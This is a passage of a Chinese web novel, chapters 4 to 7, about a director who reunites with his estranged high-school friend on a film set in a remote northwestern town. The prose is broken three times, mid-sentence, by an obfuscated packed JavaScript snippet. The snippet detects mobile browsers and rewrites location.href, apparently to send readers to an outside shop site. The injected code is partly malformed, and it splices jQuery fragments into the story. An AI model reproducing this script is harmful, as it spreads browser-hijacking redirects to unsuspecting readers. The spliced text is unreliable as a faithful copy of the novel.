女孩往后一指:“里边儿。”
燕青河笑了下:“谢谢。”
仓库里很乱,堆满了各种模型和制作道具剩下的边角料,还有很多拍摄用的特效道具。
燕青河径直往隔间走过去,靠近之后能听得到里面在放着音乐。
是Luv(sic)pt2,他们一起听过的。
隔间的门大开着,燕青河看到他正在电脑上建模,像以前一样喜欢随着音乐微微晃动。
“梁有志。”
“嗯。”
应声后梁有志才反应过来,转头看向门口。
燕青河就站在门口,靠着门框。
“好久不见。”
4. 第 4 章
梁有志立马回过头去。
“在忙?”
“嗯。”梁有志又应了声。
燕青河一手拎着电脑包,一手插在羽绒服口袋里,“我可以进来吗?”
“可以啊。”梁有志转动办公椅,整个人面向门口。
燕青河走了进来,他穿一件很蓬松的黑色羽绒服,短款的,刚好卡在臀部以上,前段时间累瘦了很多,纤瘦的腰肢挂不住这条牛仔裤,微微松垮着,裤腿堆叠在白色板鞋上。
他低着头,只看着地面几步腾挪走到离梁有志很近的位置。
抬眼一看,电脑已经息屏了。
“有事么?”梁有志问。
四目相对的时候他依旧觉得难以承受燕青河波动的眼神,觉得是自己处于视线下位导致的,于是他站起来,靠坐在电脑桌边缘。
他白天穿的那件皮衣搭在椅背上,身上套的是干活常穿的摇粒绒外套。
衣袖的位置起球了,胸口还有俩洞,焊接的时候被火星子蹦的。
燕青河不敢再靠近:“我刚好跟陈导他们在旁边饭店吃饭。”
梁有志:“嗯,这家的羊肉挺好吃的。”
燕青河:“是么。”
“嗯。”梁有志双手抱胸,“所以你有事吗?”
燕青河眼睫轻颤,“你,你这些年怎么样?”
燕青河不但毛发颜色偏浅,就连眼珠的颜色也是,是浅棕色的。
这样看着人的时候,显得有些脆弱,但不真诚。
“我挺好的。”
“那就好。”燕青河轻轻咬了一下下唇内壁的软肉,“我也挺好的,接到这个项目的时候很开心。”
“哦。”梁有志眼眸垂着。
“知道你也在组里的时候更开心。”
梁有志忽然撇开脸,哦了一声。
“之前的事,对不起。”燕青河说。
“没什么对不起,也没什么事。”
“梁有志……”
“都多少年了,还提那些干什么。”
梁有志说着,起身随手在桌面拿了个东西把玩,也许是在办公桌旁的肢体记忆,他顺手就拿起了鼠标。
鼠标一动,电脑屏幕亮了起来。
梁有志自己没反应过来,捏着鼠标低头,一副无所谓的语气:“你不会以为这么多年过去了,高中那点事儿还想着吧。”
燕青河干裂的嘴唇微微张开。
电脑屏幕上的建模是一张未完成的人脸,和燕青河有八分相似。
《蓝色图腾》里显然没有燕青河的戏份。
“这个……”燕青河伸出一根手指,轻轻指向梁有志身后的超大电脑屏幕。
“早就忘干……”梁有志话没说完,不解地转头看了一眼,随后立刻关掉软件并且解释:“不是你。”
燕青河眼尾带着笑意,“好像。”
梁有志:“亚洲人建模看起来都差不多的。”
“嗯。”
“你别多想。”
“那这是谁?”燕青河微微上前半步,“我最近一直在看剧本。”
梁有志:“他叫solo,不是剧本里的角色。”
燕青河微微偏头。
“我们组的同事,练个手。”梁有志说。
燕青河点头,“嗯,我知道了。”
他语气仍是淡淡的,眼睛却笑着,就那样看着梁有志。
“你。”梁有志干咳一声,“你怎么接到这个项目的?”
燕青河:“公司的制片人介绍的,听说原本定的是新西兰籍的导演Jeff,他对剧本很感兴趣,但是和他下一部作品的开机时间有半个月的重合,加上怕中文工作环境不适应最后还是推了。”
“我说呢。”
“转来转去,介绍到我这儿了,正好空档期。”
“嗯。”
“所以你以为我是Jeff,听不懂中文。”
梁有志微微抬眉:“什么?”
燕青河笑,“在卢辛车上,你给他打电话。”
“不好意思。”梁有志又随手拿起了桌面上的一支圆珠笔。
燕青河忙说:“我没有怪你。”
忽然沉默下来。
能说这么多话,燕青河挺满足,“那我先回去了。”
“哦,行啊。”梁有志抓起椅背上的皮衣,跟在燕青河身后往外走。
仓库里有两张巨大的桌子,刚刚给燕青河指路的女孩戴着防护眼镜在焊接电路,听到有人走出来就转头打了个招呼。
“梁哥,这位是哪个组的?”
“B组导演。”梁有志说完又给燕青河介绍:“我们组的建模师,陈美君。”
燕青河主动走过去一点,“燕青河。”
“哦!”陈美君放下手中的工具挥了挥手:“您就是燕导啊!我和晓迪是好朋友,她跟我说过你过来了。”
燕青河:“是的。”
陈美君:“那导演你跟我们梁哥认识?”
燕青河点头,梁有志挠头。
“你们?”
“老朋友。”
“老同学。”
燕青河转头看向梁有志,梁有志强调道:“高中同学,一年。”
“这样啊。”陈美君看梁有志马着脸,燕青河也一脸冷淡,尴尬地哈哈一声,“我干活啦。”
“走吧。”梁有志说。
燕青河往门口走,他很想很梁有志并排着走,但梁有志总是故意慢一步走在他身后。
仓库里有局部取暖设备,加上空间密闭并不冷,一出门就寒风扑面,燕青河细软的头发被吹得乱晃。
他转身站定,“不用送了,外面很冷。”
“哦。”梁有志一手插摇粒绒外套兜里,“我没想送。”
燕青河看了眼他手里拿着的皮衣,笑着,“好。”
“走吧。”
“梁有志,你怎么不加我微信?”
这下梁有志不能说没带手机了,因为手机就在他裤兜里,燕青河看见了。
“有事儿在群里艾特我就行。”
“老同学的话,不能加微信吗?”
“……”梁有志没说话,但别扭摆在明面上。
燕青河掏出手机:“我扫你,好不好?”
梁有志磨磨唧唧地把手从衣服兜里拿出来,又磨磨唧唧把手机拿出来,然后微微侧身不让燕青河看到自己手机屏幕,迅速鼓捣了一会儿才把微信码亮出来。
燕青河扫码添加。
“谢谢。”
燕青河早上还怕自己头像很无聊,特地换了,没想到扫出来的梁有志头像和自己之前的差不多,是一个灰蒙蒙的天空。
“原来你现在用这种头像。”燕青河说着,监督梁有志,“你通过一下。”
梁有志一边操作一边说:“一直用这个。”
燕青河:“以前你的Q\Q头像是3PO。”
“那都小时候了。”梁有志声音闷闷的,低着头说:“早就变了。”
从今天在食堂和梁有志碰面开始他就没有什么好话,但燕青河觉得是应该的,觉得他别扭的样子其实有些可爱。
也知道已经过去很多年,肯定有很多东西变了。
但梁有志真的说出来,怎么这么让人苦涩呢。
“梁有志,真的对不起。”燕青河说。
梁有志才说了狠话,一抬眼看到燕青河那张薄情的脸上带着委屈,慌乱得抬手挠了下眉毛,“哎我不是那个意思,都过去了,你别这样让人看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584347|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见了以为我欺负你呢。”
燕青河看着他,微微抿着嘴唇:“那你别不理我,好吗?”
“我哪有!”梁有志忙说,“咱俩现在是同事,怎么可能不理你,还得工作呢。”
燕青河深深吸口气,正要说再见的时候卢辛火急火燎地回来了,牵着一条小黄狗。
“燕导,您过来啦。”卢辛又穿得很少,缩着肩膀跟梁有志说:“梁哥,solo我遛完了,我回宿舍睡觉了,这一天给我累的。燕导拜拜!”
说完他把狗绳往梁有志手里一塞,缩着肩膀小跑走了。
燕青河心里那一点苦涩散了,他笑着问梁有志:“它是solo?”
梁有志偏着头:“咳。”
燕青河蹲下了伸出手,给小狗闻他的手背,“你好,solo。”
“呜呜。”小狗闻了两秒,立马热情地对燕青河的手大舔特舔。
小狗的舌头湿湿热热的,舔得燕青河手有点痒。
“solo!”梁有志收紧绳子,“不好意思,它就这样,舔狗。”
“很可爱。”
“还行吧。”
燕青河看了眼手机,“那我先回去了,拜拜。”
梁有志没做声,只是假装很忙的把solo拉过来拉过去。
门崖市的夜晚很冷,燕青河整个人被包裹在温暖的羽绒服里,脚步轻快的从这条街上离开,两次回头都能看得到梁有志在门口跟solo互动。
这次从道具组仓库走到入住的酒店要二十四分钟。
回到房间燕青河迫不及待地点进梁有志的朋友圈,发现他仅三天可见。
“小气死了。”燕青河轻笑。
正要放下手机去洗漱的时候,妹妹的视频电话打了过来。
“燕青河!!”燕青云一如既往地活力满满,她正趴在床上看小说。
燕青河心情正好,脸上的笑还没收,“没睡呢。”
“想你了,哥哥。”
“我也想你。”
“你心情很好嘛,工作很顺利?”
“还不错。”燕青河一边说着一边把电脑拿出来,“你呢,作业交上去了吗?”
燕青云:“别说这么沉重的话题好吗?”
燕青河:“爸妈怎么样?”
“就那样呗,妈妈晚上请我和奶奶吃了火锅。”
“这么好。”
“对了哥,我觉得你真的可以尝试联络一下耳机男孩。”
以往燕青河都很抗拒聊这些,今天却很耐心地问:“为什么?”
燕青云来劲了,坐起来说:“我昨天晚上给你卜了一卦,显示你会跟他重逢呢!”
“这么准么。”
“是啊!”燕青云一脸认真,随后反应过来,“不对,不对不对,你的意思是你见到他了?”
燕青河没回答,但也没否认。
燕青云:“天呐!哥,卦象显示有好事发生,真的!”
燕青河看着电脑,“多好?”
燕青云:“超级超级好。”
“借你吉言。”
“哥,”燕青云收敛一点激动的情绪,“你跟我说说跟他的故事呗。”
“不要。”
燕青云:“为什么!从小到大我和每个男朋友的事你都知道,太不公平了吧!”
燕青河看向镜头:“小屁孩。”
“这话不对哟。”燕青云说:“别的不好说,论恋爱经验我比你丰富很多吧,而且我看过那么多小说,我还会塔罗牌。”
燕青河点开了今天总导演发来的资料,拿起手机怼着大头跟燕青云说:“我得工作了,你赶紧睡觉。”
“哼。”
燕青云往床上一趟:“到时候别求我!”
5. 第 5 章
燕青河工作的时候很投入很专注。
一是喜欢这份工作,二是因为他看似冷静聪明实则是个一根筋,一个时间只能做一件事。
最初当导演的时候要统筹剧组那么多部门那么多工作,燕青河吃力到每天只能睡三四个小时,半条命都搭了进去。
后面调整过来才发现,只要把导演的工作当成一件事就不会有那么大的压力。
燕青河就读的大学在全球影视圈内都有一定的地位,很多导演从这里毕业,但燕青河在依然很受瞩目。
受瞩目的原因是工作很拼,且进步神速。
现在公司里三十岁以内,能接《蓝色图腾》这样大制作电影的找不出第二个。
结束工作已经是十二点,燕青河洗漱后躺上床。
手机页面有微信消息提醒,燕青河点开查看,是妹妹发来的。
[哥哥,如果有天你想跟谁说一说关于他的事,可以跟我说吗?我是你最忠诚的朋友,汪汪!]
燕青河笑笑,给她回:[晚安。]
B组的工作比想象中要混乱得多,不光导演是新换的,摄影组的两个主摄也是换过的,一个组里最核心的两个职位都换过,衔接的难度有多大可想而知。
燕青河没有因为难度大而有退缩的想法,但总导演陈可浮却每天都担心这个新来的导演打退堂鼓。
毕竟他看起来身体不是特别好,瘦弱且脸色惨白,饭吃得很少,跟主创们也不热络。
倒是听他的助理朱晓迪说他有空会往道具组跑。
据朱晓迪线报,当时燕青河抵达西宁正好是道具E组的组员去接的他,后面又听E组的人说燕青河跟梁有志是高中同学。
想着燕青河临危受命接了这个项目,回国就往大西北这么个荒凉的地方扎,人生地不熟的也真的怪可怜。
陈可浮四十岁,年纪不算大,又刚得了个女儿,恋家情绪爆棚,因此格外的理解和同情燕青河。
帅哥的冷漠总是带着别样风情,叫人臆想他是否因为太过孤独。
“诶对了,把梁有志叫过来一起呗。”陈可浮说。
燕青河刚放好电脑包,愣了一下转过头来。
他今天戴了个鸭舌帽,压得很低,看不到他的眼神。
距离他来到门崖市已经十天了,这十天里他快刀斩乱麻的理清所有拍摄链路,又带着新的摄影团队把上半年棚拍的素材吃透,试拍两天之后找到风格合适的拍法,在陈可浮那里一次过。
明天B组就正式开机了,陈可浮特地请客吃饭。
眼看着燕青河磋磨十天更显憔悴,陈可浮心声怜爱,心想叫个老朋友来燕青河心情一好说不定能多吃点。
燕青河拒绝也在情理之中,他做事情太快准狠太独了。
所以在听到他说不用不麻烦了的时候,陈可浮完全没放在心上,掏出手机就说:“我给他发个微信,说起来我俩也算师兄弟的。”
“是么。”燕青河抽开椅子坐下。
陈可浮:“对啊,我跟小梁本科一个学校的,不过我比他大十二届。”
燕青河:“……”
“你跟他是同学,我是他师兄。”陈可浮笑起来,“四舍五入我也算你师兄吧。”
陈可浮是个精瘦的男人,剃了光头天热戴鸭舌帽天冷戴毛线帽,他跟燕青河开玩笑:“叫师兄。”
燕青河笑:“师兄。”
“我去,诶!”
都说燕青河严肃不是能开玩笑的人,陈可浮此刻觉得,也不是嘛。
虽然觉得这种情况有点强梁所难,但十天了,梁有志好像一点都不想理自己。
这十天实在是太忙,燕青河只抽出一次时间去道具组仓库找他,偏偏那次他不在,微信上的消息也不回。
燕青河问他吃饭了吗?
过三个小时他才回吃了。
燕青河问他忙不忙?
到半夜他才说忙。
燕青河说看到食堂有他喜欢吃的小馄饨。
第二天他才回一句现在不爱吃了。
倒是在群里看到他积极地回过消息,跟道具组的人打哈哈,有人说荤笑话,梁有志说痒就去撞树。
倒不至于觉得挫败。
就是挺想他的。
“会不会太晚了。”燕青河客套一下。
陈可浮看两眼时间,九点多,“还行吧,这个点儿宵夜正好,我问问。”
燕青河便不再说话,安静在一旁喝水。
“诶?”陈可浮发出一声疑惑,“换头像了,差点没找到他。”
燕青河身体倾斜过来,“换头像?”
陈可浮:“嗯。”
说着陈可浮直接播梁有志的语音电话。
梁有志接得很快,“陈导,怎么了?”
“吃宵夜。”
“老金去吗?”
“没叫他呢。”
梁有志嘶了一声,“不叫老金单叫我,感觉不是什么好事儿啊。”
“鸿门宴。”陈可浮一向没架子,跟梁有志也合作好多次了,熟络道:“你就说来不来吧。”
梁有志:“陈导叫老奴哪敢不来呀,哪儿?”
陈可浮看向燕青河,“羊馆。”
“正好。”梁有志笑着,“帮我在旁边点碗小馄饨,想吃点热乎的。”
燕青河垂着眼笑。
挂了电话,陈可浮让同行的助理去隔壁点馄饨,“还有谁要?”
执行导演说要,燕青河也举了手。
“你俩不要啊?”陈可浮问两组的摄影,摄影说只想吃肉。
今晚宵夜演员都没来,只有剧组的几个核心执行,一个比一个糙,干的活也一个比一个累,在这边就爱吃点羊肉。
七嘴八舌地点了菜,刚要开始闲聊的时候梁有志推门进来了。
他从外面进来,带着一身寒气,包厢里暖和,他开口问个好都是一脸的雾气。
雾气一散,看到了燕青河,还有仅剩的燕青河左边的位置。
“你来了。”燕青河开口。
梁有志扫了眼包厢里的人,显然他们毫不知情,包括陈可浮。
他在空位上坐下,“我不知道你在。”
这话说出口,带着淡淡的火药味,敏感一些的人都应该能发觉。
可惜这包厢里全是粗人。
执行导演马飞还兴致勃勃地说:“我才知道你跟燕导是高中同学,怎么没听你说过啊。”
“也没人问啊。”梁有志和别人说话惯是这幅马大哈样。
马飞:“说起来前年《虫洞2》上映的时候,咱俩在北京喝酒还聊呢,你也不说一下,认识这么个大人物。”
燕青河转头看梁有志。
梁有志拢了拢身上的冲锋衣外套,“是么,不记得了。”
陈可浮出来打圆场,“他俩也好多年没见了,而且小燕也是临时帮忙顶上来了,没几个人知道是他要来,毕竟在国外发展嘛,咱们圈子里也不认识。”
梁有志不自在地伸手拿面前的水杯喝。
燕青河眼急手快挡了一下,“烫。”
陶瓷水杯捏在手里,渐渐感受到温度。
“我刚倒的。”燕青河补充,见梁有志放下了才接着刚刚的话题说:“我来之前也不知道他也在组里,看资料里也没提。”
“巧了么这不是。”陈可浮说:“他们也是被我拉来的,最开始是打算直接用AP的特殊道具团队。”
说话间隔壁老板把小馄饨端过来了。
清淡的东南沿海口味,里面有小虾米和紫菜。这在门崖市不常见,老板是跟着在这边做石油开采工作的老公过来的,开个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584348|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小店赚钱,也算有事情做。
前几天才嘴硬说现在不爱吃小馄饨,梁有志面子有些过不去。
还好他不是很爱面子。
正要吃的时候忽然停下来,虽然他没看燕青河一眼,但却知道燕青河的勺子滑进碗里了。
燕青河正要起身出去拿个新的,一把勺子轻轻放在了他的碗沿,动作之轻之快,丝毫不逊色于高中时上课偷吃干脆面。
“没给我勺子。”梁有志自说自话地起身,拉开包厢的门就出去了。
点的宵夜也上来了,陈可浮招呼大家吃,每个人开了一罐啤酒。
体谅燕青河跟大家都不熟,陈可浮特地给他拿两串羊肉串,“别拘束。”
“谢谢陈导。”燕青河已经把滑进碗里的勺子捞了出来,也有梁有志给地新勺子,但却没有开始吃。
直到梁有志拿着勺子回来坐下。
B组要开机了,最开心的就是陈可浮,饭桌上也都是工作的事儿,说到组内的问题时就会同步问一下燕青河在国外工作这种问题怎么处理。
燕青河似乎心情不错,说了很多话,说得桌上的人面面相觑。
“真看不出来啊燕导。”执行导演心虚笑笑,“您真是个雷霆手腕。”
大家看燕青河抿着嘴唇,笑得有些苦涩,也忍不住笑。
陈可浮:“没少□□吧。”
燕青河点点头,“好在大部分结果都是好的。不过现在柔和很多了。”
说完他转头看梁有志,他面前已经摆了两罐空的啤酒瓶,脸有些红。
梁有志原本坐得好好的,每次燕青河转头他就很忙,导致吃得有些撑了。
散场之后一出门,梁有志就打嗝。
“没事儿吧。”燕青河站到他旁边。
梁有志轻轻捂着胸口,“没事,吃撑了。”
陈可浮:“去我们前台拿点消食片吧。”
“不用,走回去就好了。”梁有志说着,挥了挥手,“走了,我回去还有活儿呢。”
他的酒店和大家反方向,说完就真的揣着兜走了。
燕青河跟着其余几个人走回酒店,到了大厅,正好前台交班。
“陈导,你们先上去吧,我去拿个新的牙刷。”燕青河说。
人一走,燕青河走到前台登记,领了两盒消食健胃片又出门。
这次从酒店走到仓库只用了19分钟,走得燕青河浑身发热,进了仓库第一个看见他的还是陈美君。
陈美君又在焊东西,见他来了往里一指,“里面呢。”
燕青河点头致谢。
梁有志说有活儿,进去了却看到他在跟solo玩。
“你怎么来了?”
“我来给你送消食片。”
燕青河拿出消食片放在他的桌子上,“我回去了。”
小狗solo从梁有志手底溜走,围着燕青河闻了一圈,开始舔他的鞋。
燕青河蹲下来摸了摸他的头,solo就冷静了五秒,然后接着舔。
梁有志看着他没说话,燕青河真转身走他又喊他,“燕青河,你到底想干嘛?”
“给你送药。”燕青河说。
他走了一路,鼻子都冻红了,头发也乱糟糟,一副可怜样。
“大半夜这么冷,你给我送什么药?”
“你吃撑了。”
“我撑死了也跟你没关系啊。”
燕青河看着他:“我们是老同学。”
梁有志:“老同学用得着这样吗?”
燕青河微微笑了下,他的眼型偏长,笑起来也不弯,一点都不温柔。
但就是很勾人很漂亮。
“老同学可以把自己勺子让给我,我为什么不能给老同学送药。”
“……”
“对吧,老同学。”
6. 第 6 章
第6章
梁有志有些恼怒。
恼怒的不是燕青河这样做,而是自己为什么要吃撑。
非要送药的话,感冒发烧断腿,哪个不比吃撑了看起来体面。
时间已经很晚了,这个被无人区包围的西北小城早已沉睡,周遭安静得只有陈美君焊接电路的滋滋声。
“其实这么多年……”燕青河想要大方坦诚地表达,但骨子不是那么坦诚的人,说了一句声音就变小,“我一直都很想你。”
“说这些干什么。”梁有志有点被吓到,“燕青河,你干嘛老说这些,都过去十几年了。”
燕青河:“可我真的是很想你嘛。”
梁有志不喜欢燕青河这样说话,没来由地一股火。
“有意思吗?”
“对不起。”
“能不能别再说了!”
燕青河到嘴边的话又咽了下去。
看到燕青河又摆出那副表情,他撇开眼冷静,过了好一会儿才回过头来看向燕青河:“当年招呼都不打一声就走的是你,十一年了一次也没有联系过我的是你,不要搞得好像是我在欺负你一样好不好?”
“当年是我不对,发生了好多事我没来得……”
“有什么用?!”
燕青河被他的语气吓得不敢再说话。
“三个月过去,你不还是会拍拍屁股走人,干嘛又撩拨我?”梁有志耳朵有些红,“就算我一副吊儿郎当的样子,不代表你可以耍我两次!”
燕青河:“我不是故意的。”
梁有志:“但你就是这样做的。”
燕青河差点再次脱口而出“对不起”,但梁有志的眼神灼伤了他。
“别老是搞出一副可怜兮兮的样子,我没十六岁那么好骗了。”梁有志说。
他嘴上骂燕青河是个喜欢装可怜扮委屈博同情的骗子,但此时此刻满眼委屈的人明明是他。
浓眉大眼的梁有志,难过的时候脸颊还有若隐若现的酒窝。
如果他装可怜的话燕青河一定也完蛋了。
“我没有骗你。”燕青河上前一步,“真的,我跟你解释。”
梁有志后退:“我才不听!”
燕青河想伸手抓他胳膊,他慌乱往后退,一屁股靠在办公桌上,他轻轻指着燕青河:“你别碰我!”
“我不碰。”燕青河收手。
“出去,这是我的地盘。”
燕青河还想再说话,梁有志坚决地指着门口:“走,我要工作了,嗝。”
“好。”燕青河摸了摸自己掌心的茧,“记得吃消食片。”
梁有志绝望地转身背对燕青河,不再搭理他了。
燕青河从隔间里出来,办公长桌旁的取暖器已经围了三个人。
见燕青河出来都直愣愣地看着他,卢辛不发抖了,同事面条也不吃了,陈美君的电路也不焊了。
此情此景,此刻,燕青河只能微微点了下头快速通过。
掀开挡风帘冲出去的瞬间,冷空气包裹着发烫的脸才觉得冷静一点。
好像又要降温了。
燕青河回去的路上明显感觉得到比来时更冷,这样寒冷漆黑的夜里,他独自从这头走到那头,想着梁有志。
想他们第一次见面,想他们一起写作业,想他们去河里玩,想黑漆漆的卧室里他们窝在床尾一起看电影,想从小窗子扔进来的MP3,想他说的每一次“我陪你”。
等他回到酒店进了电梯,看到电梯倒影里的自己在笑的时候愣了一下。
怎么还笑?刚刚差点把梁有志弄哭了。
燕青河为自己的恶劣的想法感到不好意思,因为他觉得梁有志的反应代表他也没有忘记自己,是该生气的。
就算是他那么好脾气的人。
洗漱完之后发现燕青云发来消息说想跟他聊天。
燕青河拨了视频电话过去。
“哥!”燕青云依旧情绪高昂,拿着手机去把卧室的门关上,“你看起来心情很不错哦。”
燕青河笑:“是不错。”
燕青云:“工作顺利吗?是不是要正式开机了?”
“嗯,明天。”燕青河注意到她耳朵脖子手上都没有任何饰品,唇钉也拿掉了,燕青河微微皱眉,“爸又骂你了?”
“没事,我才懒得理他。”
“这几天家里怎么样?要不要我给爸打个电话?“
“不要不要。”燕青云嫌弃道:“没有你家里一样转好吗?不要操心,小牧已经安慰过我了,明天他就陪我就去买新的唇钉,我气死老爸。”
燕青河笑着:“我给你报销。”
燕青云忽然凑近,“哥,你能给我一个地址吗?我想在淘宝上买东西,到时候回悉尼你给我带回来好不好?”
“好,我找找地址,这两天发给你。”
“谢谢哥,嘿嘿那你休息吧,我不吵你了。”
“小宝。”燕青河罕见的没有快速挂断,“你忙吗?”
燕青云摇头:“不忙。”
“上次你说如果有天我想跟谁说说他的事,一定要找你,现在你想听吗?”
燕青云激动得坐直了,“当然!你们是不是重逢了?怎么联系上的?”
燕青河:“他也在这个剧组里。”
燕青云:“钢筋一样硬的红线,正缘,他帅吗?”
“小屁孩。”燕青河笑,尽管已经洗漱,穿着睡衣他还是坐得笔直,“我很意外也很高兴,但他生我的气了。”
“难免的,哥,他帅不帅?“
“虽然生我的气但总比完全不在意我的好,对吧。”
“当然了生气说明很在乎,哥有没有照片我想看他帅不帅。”
“他问我想干嘛,我也不知道我想干嘛。”
“你跟他解释我们家的情况没?你也有苦衷的嘛,到底帅不帅啊?”
燕青河叹口气,“就算有天大的苦衷,事实也是我失约又失联了十一年。”
“哥……”燕青云痴痴地看着镜头,“他到底……帅……不……帅……”
燕青河回过神来,不解道:“这很重要吗?”
燕青云:“你回答我!!”
“我觉得帅。”燕青河说。
“多高?”
“比我高个五六厘米的样子。”
“多重?”
“比我重个十公斤的吧。”
“长什么样?”
燕青河思索了一下,“比较硬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584349|187308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朗,眉毛浓浓的,双眼皮大眼睛,还有两个不明显的酒窝,鼻梁很高,厚嘴偏唇,头发比我长一点,很黑,看起来发质比较硬很健康。”
“怎么听着像头野猪啊。”燕青云脑中的形象挥之不去。
燕青河自己想了下,哭笑不得。
燕青云也忙说对不起。
虽然喜欢穿孔染发,咋咋呼呼的,但是个有礼貌的小孩。
“哥,那你跟我说说呗,你们的故事。”
屋子里暖气充足,燕青河穿着柔软贴肤的睡衣,回忆过往时眼神微微带着笑意,不自觉放松了下来,手机搭在笔电屏幕上,他手肘撑在桌沿缓缓开口。
“那会儿是秋天,姑姑把你接去悉尼之后没多久我就退学了,原本说让我去读国际学校,但退学之后一直在家里。大伯和爷爷相继去世,家里氛围很不好,爸妈总吵架,两个月后爸被调到潞西市,我糊里糊涂地被带过去,到那里的第二天就被送去当地的高中插班。
“妈妈送我去学校的,赶上第一节课,我做了自我介绍之后被安排坐第三排。那时候沉浸在自己的情绪里,完全没有注意到他。”
“哥,他叫什么名字?”
“梁有志。”燕青河说着,微微笑了一下,“那天我也是这么问老师的,老师让我去找副班长那里填表,我问副班长叫什么名字。
“其实填表的时候也没注意他,只记得他在字典中间挖了个洞放手机。
“那时候爸妈每天都在吵架,我不爱说话,在学校里独来独往的。老师找我谈话很多次,让我一定放开心结,交朋友享受高中生活,不要影响了成绩,但我一直那样,老师也没办法。过了一段时间,有一天早上妈正在祷告,爸跟她吵了起来,还动手了,我去挡也被打了两巴掌,打完我出门上学,爸妈打架把早餐摔了妈怕我饿,跟着下楼买了两个包子塞给我,当时已经迟到了,走得太着急被三轮车撞到,髌骨轻微骨折。
“梁有志也迟到,他从马路对面跑过来把我背到路边坐着等120,那天他穿了件黑红配色的卫衣,带帽子的,我记得很清楚,因为那条路种满了梧桐树,他背我的时候我看到帽子里有两片梧桐树叶。
“他特别着急,一直问我疼不疼又说别担心咱们年轻骨头长得快。后面老师送我去医院,妈也来了,我做了好多检查然后绑了固定板。我听到老师在走廊里和妈说一定要关注我的心理问题,妈就哭着跟老师说家里日子多难又说爸对她有多不好。下午我就出院去学校了,妈送我到楼下,梁有志在那里等着,说老师让他们背我回教室,我说谢谢。
“当时是课间,人可多了,梁有志一边学急救车叫一边喊让一让,回到教室我发现我的座位被调到他旁边了,因为他坐后排靠门的位置,桌洞里放着他早上帮我捡回来的书包。他说书包下面擦破了一点,那俩包子倒是没事儿他给吃了,他说那家不好吃以后别买了,我没说话。我记得他当时趴在课桌上看了我好一会儿才说‘好吧其实我家是卖包子的,我家和那家是世敌’。”
说到这里燕青河稍微回过神来,看两眼手机屏幕里听得入神的燕青云,说:“梁有志问我站哪边。”
燕青云:“你站哪边?”
燕青河说:“我说我不爱吃包子。”
7. 第 7 章
燕青河确实不爱吃包子,准确来说他不爱吃早餐。
他讨厌每天早上一家人端坐在一起吃早餐的氛围,讨厌父母严肃悲伤的脸,讨厌父亲餐前没完没了的工作电话,讨厌母亲没有真心的祷告。
以及在等待中冷掉的早餐。
燕青云自然了解这个哥哥,他确实是会说出这种话的人。
这个家培养出这样性格的燕青河不奇怪,倒是燕青云自己能长成这副自由自在的样子多亏了哥哥和姑姑。
“哥,后来呢?”燕青云问。
“后来……”燕青河像是想到了什么,笑了下,“太晚了,下次再跟你说。”
燕青云:“完了,入坑连载文。”
说完自己嘿嘿笑,“那你想怎么办?”
“就……慢慢找机会接近,然后,然后请他原谅我。”燕青河说。
“怎么接近?”
“还没想好,我工作太忙了,还是要以工作为重。我不想……”燕青河话到嘴边却没有说完。
“什么?”
“没什么,很晚了。”燕青河说:“睡吧,小宝。”
说了晚安,燕青河的思绪独自在西北的夜里徜徉。
“我不想让他觉得我没做到。”
燕青河是觉得在这段时间里工作最重要,但也没想到工作强度大到连看手机的时间都没有多少。
B组的进度本来就落后很多,刚开拍要协调的事情也多。
燕青河负责的B组主要负责一些外景群戏,外景都在距离门崖市市区三十公里外的沙漠边缘。
当地政府支持他们在门崖市取景拍摄,但调度还是要他们自己搞定。光是每天带着那么多道具和人往返取景地和门崖市都要花很多时间。
燕青河预估过拍摄的难度,所以接受良好,但闲散了一个多月的B组员工接受度就没那么高了。
开拍前三天的主要剧情就是主角“金”成功盗窃宝物后逃亡到M星球,跟随而来的帝国宪兵队联合M星球追捕主角。
M星球是以丰富的能源闻名,表面是沙漠,人民居住在地下城。
金在星球逃窜的过程中被一支仍旧生活在沙漠表层的部落抓捕,意外发现这个部落丢失的公主是金在帝国监狱里见过的女孩,而这位公主有着一位蕴藏巨大能量的妹妹。
金以带部落的人去找公主为筹码,让部落帮助他逃避帝国的追捕。
这部分剧情几乎都是外景,群演很多,燕青河要求高,一场逃亡戏码拍了整整四天。
剧组员工,尤其是群演怨气不少。
这些怨气也很快地传到了其他工作组的员工耳朵里,包括总导演陈可浮,以及几乎不用出片场的梁有志那里。
“真有病一样,那么大那么远的镜头根本看不清好吧,二十多个演员来回跑了七趟,你知道沙漠的坡有多难走吗?”
“今晚又是夜戏,不用想都知道十二点之前回不来。”
“故意这样折磨我们显得自己很敬业技术很高超么,年轻导演就喜欢这样搞。”
“行了。”梁有志手里拿着扳手敲了下桌面,“我们这儿还要工作呢,烦不烦?”
